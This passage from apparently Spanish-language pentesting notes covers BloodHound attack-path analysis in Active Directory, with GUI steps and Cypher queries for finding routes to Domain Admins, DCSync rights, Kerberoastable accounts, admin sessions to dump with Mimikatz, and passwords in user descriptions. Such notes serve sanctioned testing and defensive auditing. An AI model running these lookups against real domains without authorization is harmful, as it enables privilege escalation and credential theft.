3. Buscar ruta de Domain Users a Domain Admins ​

Pathfinding:
Origen: DOMAIN USERS@DOMAIN.local
Destino: DOMAIN ADMINS@DOMAIN.local

Si no hay ruta directa, no todos los usuarios tienen camino a DA. Si hay ruta, es una misconfiguration crítica.

4. Revisar los Domain Admins ​

Buscar: group:Domain Admins
→ Group Members (directos y unrolled por membresía anidada)
→ Sessions (hosts donde hay un DA conectado actualmente)

Pre-Built Analytics Queries más importantes ​

Desde la pestaña Analysis en el GUI:

Find All Domain Admins                          → lista completa de DAs directos y anidados
Find Shortest Paths to Domain Admins            → todas las rutas posibles hacia DA
Find Principals with DCSync Rights              → cuentas que pueden hacer DCSync
Users with Foreign Domain Group Membership      → usuarios en grupos de otros dominios
Groups with Foreign Domain Group Membership     → grupos en grupos de otros dominios
Map Domain Trusts                               → todos los trusts del dominio actual
Shortest Paths to Unconstrained Delegation      → rutas hacia hosts con Unconstrained Delegation
Shortest Paths from Kerberoastable Users        → rutas a DA desde cuentas Kerberoasteables
Shortest Path from Owned Principals             → rutas desde nodos marcados como owned
Shortest Paths to Domain Admins from Owned      → ruta más corta a DA desde owned
Shortest Paths to High-Value Targets            → rutas a objetivos de alto valor

Owned Principals — Marcar nodos comprometidos ​

Cuando comprometes una cuenta o host, márcalo como owned en BloodHound para ver qué puedes hacer desde ahí:

Clic derecho en el nodo → Mark as Owned

El nodo queda marcado con un ícono de calavera. Luego:

Analysis → Shortest Path from Owned Principals
Analysis → Shortest Paths to Domain Admins from Owned Principals

Esto muestra exactamente qué rutas de ataque tienes disponibles con los accesos actuales.


Encontrar sesiones activas ​

Las sesiones indican dónde están conectados los usuarios en el momento de la recolección. Si un DA tiene sesión en un host donde tienes admin local, puedes dumpear sus credenciales con Mimikatz.

Buscar: group:Domain Admins
→ Sessions → clic en el número → muestra el host y el usuario conectado

También se puede buscar sesiones desde el nodo de una computadora:

Buscar: computer:WS01
→ Sessions → usuarios conectados a ese host

Verificar derechos de un usuario sobre otro objeto ​

Para ver qué derechos tiene un usuario específico sobre otro objeto:

Buscar el usuario → Outbound Object Control

O usar pathfinding entre el usuario y el objeto objetivo para ver la ruta y los edges involucrados.

Para ver quién tiene derechos sobre un objeto específico:

Buscar el objeto → Inbound Control Rights

Verificar GPOs que afectan un contenedor ​

Buscar: ou:Domain Controllers
→ Affecting GPOs → lista de GPOs aplicadas a ese contenedor

Si una GPO no estándar afecta al contenedor de Domain Controllers y un usuario no privilegiado tiene escritura sobre ella, es una ruta de escalada crítica.

Para ver qué objetos afecta una GPO:

Buscar: gpo:Screensaver
→ Affected Objects → OUs, usuarios y computadoras afectados

Resumen del flujo completo de análisis ​

1. domain:<dominio>                          → overview general
2. group:Domain Users → Transitive Control   → derechos heredados por todos
3. Pathfinding DA Users → DA Group           → ¿hay ruta directa?
4. Analysis → Shortest Paths to DA           → todas las rutas posibles
5. Analysis → Find Principals with DCSync    → quién puede dumpear hashes
6. Marcar nodos comprometidos como Owned
7. Analysis → Shortest Path from Owned       → qué puedes hacer con lo que tienes
8. Buscar sesiones de DAs en hosts accesibles

BloodHound — Cypher Queries ​

Conceptos básicos de Cypher ​

Cypher es el lenguaje de consultas de Neo4j, similar a SQL pero diseñado para grafos. BloodHound lo usa para encontrar relaciones entre objetos de AD.

Nodos        → objetos AD entre paréntesis: (n:User)
Relaciones   → entre corchetes con dirección: -[r:MemberOf]->
Variables    → placeholder para referenciar el objeto: n, r, g, p
Labels       → tipo del nodo después de dos puntos: :User, :Group, :Computer
Propiedades  → atributos del objeto entre llaves: {name:"PETER@..."}

Cheat sheets:


Sintaxis básica ​

Keywords principales ​

MATCH    → buscar patrones de nodos y relaciones
WHERE    → filtrar resultados
RETURN   → especificar qué devolver

Queries básicas ​

c
# Todos los usuarios
MATCH (u:User) RETURN u

# Usuario específico por nombre
MATCH (u:User {name:"PETER@DOMAIN.local"}) RETURN u

# Usuario específico con WHERE
MATCH (u:User) WHERE u.name = "PETER@DOMAIN.local" RETURN u

# Grupos a los que pertenece Peter
MATCH (u:User {name:"PETER@DOMAIN.local"})-[r:MemberOf]->(peterGroups)
RETURN peterGroups

# Mostrar el grafo completo de la relación
MATCH p=((n:User {name:"PETER@DOMAIN.local"})-[r:MemberOf]->(g:Group))
RETURN p

Profundidad de la relación con * ​

c
# Membresía de Peter en todos los grupos incluyendo anidados (cualquier profundidad)
MATCH p=((u:User {name:"PETER@DOMAIN.local"})-[r:MemberOf*1..]->(g:Group))
RETURN p

# Máximo 2 niveles de profundidad
MATCH p=(n:User)-[r1:MemberOf*1..2]->(g:Group) RETURN p

*1.. significa mínimo 1 relación, máximo sin límite. *1..2 limita a 2 niveles.


Filtros avanzados ​

CONTAINS y regex ​

c
# Filtrar por nombre que contiene una cadena
MATCH p=(n:User)-[r1:MemberOf*1..]->(g:Group)
WHERE nodes(p)[1].name CONTAINS 'ITSECURITY'
RETURN p

# Con regex (case insensitive)
MATCH p=(n:User)-[r1:MemberOf*1..]->(g:Group)
WHERE nodes(p)[1].name =~ '(?i)itsecurity.*'
RETURN p

(?i) hace la búsqueda case insensitive. .* coincide con cualquier cantidad de caracteres.


Queries de ataque más importantes ​

La query más poderosa — shortest path desde cualquier nodo ​

c
# Desde un usuario específico a cualquier nodo
MATCH p = shortestPath((n)-[*1..]->(c))
WHERE n.name =~ '(?i)peter.*' AND NOT c=n
RETURN p

# Todos los shortest paths (más resultados, más lento)
MATCH p = allshortestPaths((n)-[*1..]->(c))
WHERE n.name =~ '(?i)peter.*' AND NOT c=n
RETURN p

Útil cuando comprometes un usuario y quieres ver todas sus opciones de movimiento sin depender de las queries pre-construidas.

Shortest path a Domain Admins ​

c
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.local"}))
WHERE NOT n=m
RETURN p

Sesiones de un usuario específico ​

c
MATCH (u:User)-[:HasSession]->(c:Computer)
WHERE toLower(u.name) CONTAINS 'julio'
RETURN u.name, c.name

Derechos de un usuario sobre objetos del dominio ​

c
MATCH p=((n:User {name:"SARAH@DOMAIN.local"})-[r]->(m))
RETURN p

Derechos específicos sobre un usuario ​

c
MATCH (n)-[r]->(u:User {name:"NICOLE@DOMAIN.local"})
RETURN n.name, type(r)

Queries para encontrar misconfigurations ​

Usuarios con descripción no vacía (buscar contraseñas) ​

c
MATCH (u:User)
WHERE u.description IS NOT NULL
RETURN u.name, u.description

Derechos peligrosos de Domain Users sobre computadoras ​

c
MATCH p=(g:Group)-[r:Owns|WriteDacl|GenericAll|WriteOwner|ExecuteDCOM|GenericWrite|AllowedToDelegate|ForceChangePassword]->(c:Computer)
WHERE g.name STARTS WITH "DOMAIN USERS"
RETURN p

Todos los admins locales y en qué hosts ​

c
MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins
RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT, COLLECT(DISTINCT(Admins.name)) AS USERS
ORDER BY ADMIN_COUNT DESC

Encontrar todos los nodos con un edge específico ​

c
# WriteSPN
MATCH p=((n)-[r:WriteSPN]->(m)) RETURN p

# GenericAll
MATCH p=((n)-[r:GenericAll]->(m)) RETURN p

# DCSync
MATCH p=((n)-[r:DCSync]->(m)) RETURN p

# Reemplaza el edge por cualquier otro de la lista

Desde nodos owned hacia cualquier destino ​

c
MATCH p = allshortestPaths((n)-[*1..]->(c))
WHERE n.owned = true AND NOT c=n
RETURN p

Usuarios con Unconstrained Delegation ​

c
MATCH (u:User {unconstraineddelegation:true}) RETURN u.name

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

Usuarios ASREPRoasteables ​

c
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

Usuarios Kerberoasteables ​

c
MATCH (u:User) WHERE u.hasspn = true RETURN u.name

Computadoras donde Domain Admins tienen sesión ​

c
MATCH (g:Group {name:"DOMAIN ADMINS@DOMAIN.local"})-[:HasSession]->(c:Computer)
RETURN c.name

Habilitar Query Debug Mode ​

Settings → Query Debug Mode → ON

Muestra la query Cypher de cada acción del GUI en el Raw Query Box. Útil para aprender cómo están construidas las queries pre-construidas y adaptarlas.


Guardar Custom Queries ​

Ubicación del archivo ​

Windows: %AppData%\Roaming\bloodhound\customqueries.json
Linux:   /root/.config/bloodhound/customqueries.json
         /home/<usuario>/.config/bloodhound/customqueries.json

Formato del archivo ​

c
{
    "queries": [
        {
            "name": "Shortest Path from Peter to Anything",
            "category": "Shortest Paths",
            "queryList": [
                {
                    "final": true,
                    "query": "MATCH p = allshortestPaths((n)-[*1..]->(c)) WHERE n.name =~ '(?i)peter.*' AND NOT c=n RETURN p",
                    "allowCollapse": true
                }
            ]
        }
    ]
}

Query interactiva — seleccionar nodo owned y buscar rutas ​

c
{
    "queries": [
        {
            "name": "Search From Owned to Anything",
            "category": "Shortest Paths",
            "queryList": [
                {
                    "final": false,
                    "title": "Select the node to search...",
                    "query": "MATCH (n {owned:true}) RETURN n.name",
                    "props": {"name": ".*"}
                },
                {
                    "final": true,
                    "query": "MATCH p = allshortestPaths((n)-[*1..]->(c)) WHERE n.name = $result AND NOT c=n RETURN p",
                    "allowCollapse": true,
                    "endNode": "{}"
                }
            ]
        }
    ]
}

La primera query lista todos los nodos marcados como owned. La segunda usa la selección ($result) para buscar todas las rutas desde ese nodo.

Después de editar el archivo hacer clic en el ícono de refresh en Custom Queries dentro del GUI.


Lectura adicional ​